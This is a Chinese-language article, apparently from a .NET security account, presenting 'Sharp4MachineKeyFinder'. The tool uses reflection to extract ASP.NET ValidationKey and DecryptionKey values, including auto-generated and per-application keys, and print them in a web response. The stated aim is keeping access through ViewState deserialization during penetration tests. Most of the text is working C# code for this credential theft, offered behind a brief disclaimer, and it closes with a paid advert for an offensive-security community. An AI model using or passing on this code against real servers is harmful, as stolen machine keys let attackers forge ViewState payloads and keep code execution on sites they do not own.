01閱讀須知
此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他方面
02前言介紹
Sharp4MachineKeyFinder是一款獲取Web服務器存儲MachineKey的工具,主要原理是通過反射獲取應用程序的ValidationKey和DecryptionKey,便于滲透測試時利用ViewStates反序列化漏洞進行權限維持。
03代碼實現
首先,Sharp4MachineKey代碼加載了System.Web程序集并獲取了MachineKeySection類型,具體代碼如下所示。
var?systemWebAsm?=?System.Reflection.Assembly.Load("System.Web,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=b03f5f7f11d50a3a");
var?machineKeySectionType?=?systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
然后,通過反射調用GetApplicationConfig方法獲取應用程序的MachineKeySection配置,具體代碼如下所示。
var?getApplicationConfigMethod?=?machineKeySectionType.GetMethod("GetApplicationConfig",?System.Reflection.BindingFlags.Static?|?System.Reflection.BindingFlags.NonPublic);
var?config?=?(System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null,?new?object[0]);
接下來,代碼將ValidationKey和DecryptionKey輸出到響應中,通過反射獲取MachineKeyMasterKeyProvider實例,并調用相關方法獲取驗證密鑰和加密密鑰的詳細信息。
Response.Write("<b>ValidationKey:</b>?"?+?config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b>?"?+?config.DecryptionKey);
Response.Write("<br/><hr/>");
var?typeMachineKeyMasterKeyProvider?=?systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var?instance?=?typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName,?false,System.Reflection.BindingFlags.Instance?|?System.Reflection.BindingFlags.NonPublic,null,?new?object[]?{?config,?null,?null,?null,?null?},?null,?null);
var?validationKey?=?typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance,?new?object[0]);
byte[]?_validationKey?=?(byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey,?new?object[0]);
var?encryptionKey?=?typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance,?new?object[0]);
byte[]?_decryptionKey?=?(byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey,?new?object[0]);
這些密鑰被轉換為字符串后,輸出到響應中,對于ASP.NET 4.0及以下版本,代碼還提取并展示了自動生成的密鑰信息
Response.Write("<b>validationAlg:</b>?"?+?config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b>?"?+?BitConverter.ToString(_validationKey).Replace("-",?string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b>?"?+?config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b>?"?+?BitConverter.ToString(_decryptionKey).Replace("-",?string.Empty));
Response.Write("<br/><hr/>");
byte[]?autogenKeys?=?(byte[])typeof(HttpRuntime).GetField("s_autogenKeys",?System.Reflection.BindingFlags.NonPublic?|?System.Reflection.BindingFlags.Static).GetValue(null);
int?validationKeySize?=?64;
int?decryptionKeySize?=?24;
byte[]?validationKeyAuto?=?new?byte[validationKeySize];
byte[]?decryptionKeyAuto?=?new?byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys,?0,?validationKeyAuto,?0,?validationKeySize);
System.Buffer.BlockCopy(autogenKeys,?validationKeySize,?decryptionKeyAuto,?0,?decryptionKeySize);
代碼根據應用程序名稱和應用程序ID生成的特定密鑰信息并輸出,如下代碼所示。
string?appName?=?HttpRuntime.AppDomainAppVirtualPath;
string?appId?=?HttpRuntime.AppDomainAppId;
Response.Write("<b>appName:</b>?"?+?appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b>?"?+?appId);
Response.Write("<br/>");
byte[]?_validationKeyAutoAppSpecific?=?validationKeyAuto.ToArray();
int?dwCode3?=?StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0]?=?(byte)(dwCode3?&?0xff);
_validationKeyAutoAppSpecific[1]?=?(byte)((dwCode3?&?0xff00)?>>?8);
_validationKeyAutoAppSpecific[2]?=?(byte)((dwCode3?&?0xff0000)?>>?16);
_validationKeyAutoAppSpecific[3]?=?(byte)((dwCode3?&?0xff000000)?>>?24);
Response.Write("<b>App?specific?ValidationKey?(when?uses?IsolateApps):</b>?");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-",?string.Empty));
Response.Write("<br/>");
byte[]?_validationKeyAutoAppIdSpecific?=?validationKeyAuto.ToArray();
int?dwCode4?=?StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4]?=?(byte)(dwCode4?&?0xff);
_validationKeyAutoAppIdSpecific[5]?=?(byte)((dwCode4?&?0xff00)?>>?8);
_validationKeyAutoAppIdSpecific[6]?=?(byte)((dwCode4?&?0xff0000)?>>?16);
_validationKeyAutoAppIdSpecific[7]?=?(byte)((dwCode4?&?0xff000000)?>>?24);
Response.Write("<b>AppId?Auto?specific?ValidationKey?(when?uses?IsolateByAppId):</b>?");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-",?string.Empty));
Response.Write("<br/>");
Sharp4MachineKeyFinder通過反射獲取ASP.NET應用程序密鑰的方法。這段代碼刪除了部分冗余代碼,避免了某些場景報錯的情況。并且展示如何在不同版本的ASP.NET中提取并顯示ValidationKey和DecryptionKey。運行后效果如下所示
04推薦閱讀
從漏洞分析到安全攻防,我們涵蓋了.NET安全各個關鍵方面,為您呈現最新、最全面的.NET安全知識,下面是公眾號發布的精華文章集合,推薦大家閱讀!
05歡迎加入.NET安全知識庫
為了更好地應對基于.NET技術棧的風險識別和未知威脅,dotNet安全矩陣星球從創建以來一直聚焦于.NET領域的安全攻防技術,定位于高質量安全攻防星球社區,也得到了許多師傅們的支持和信任,通過星球深度連接入圈的師傅們,一起推動.NET安全高質量的向前發展。目前只需199元便可以加入我們,后期星球門票價格隨著內容和質量的不斷沉淀會適當提高,因此越早加入越好!
? ??目前dot.Net安全矩陣星球已成為中國.NET安全領域最知名、最活躍的技術知識庫之一,從.NET Framework到.NET Core,從Web應用到PC端軟件應用,無論您是初學者還是經驗豐富的開發人員,都能在這里找到對應的安全指南和最佳實踐。
星球匯聚了各行業安全攻防技術大咖,并且每日分享.NET安全技術干貨以及交流解答各類技術等問題,社區中發布很多高質量的.NET安全資源,可以說市面上很少見,都是干貨。
星球文化始終認為授人以魚不如授人以漁!加入星球后可以跟星主和嘉賓們一對一提問交流,20+個專題欄目涵蓋了點、線、面、體等知識面,助力師傅們快速成長!其中主題包括.NET Tricks、漏洞分析、內存馬、代碼審計、預編譯、反序列化、webshell免殺、命令執行、C#工具庫等等。
????我們傾力打造專刊、視頻等配套學習資源,循序漸進的方式引導加深安全攻防技術提高以及崗位內推等等服務。
????我們還有一個會員專屬的星球陪伴群,加入的成員可以通過在群里提出問題或參與論的方式來與其他成員交流思想和經驗。此外還可以通過星球或者微信群私聊向我們進行提問,以獲取幫助迅速解決問題。
?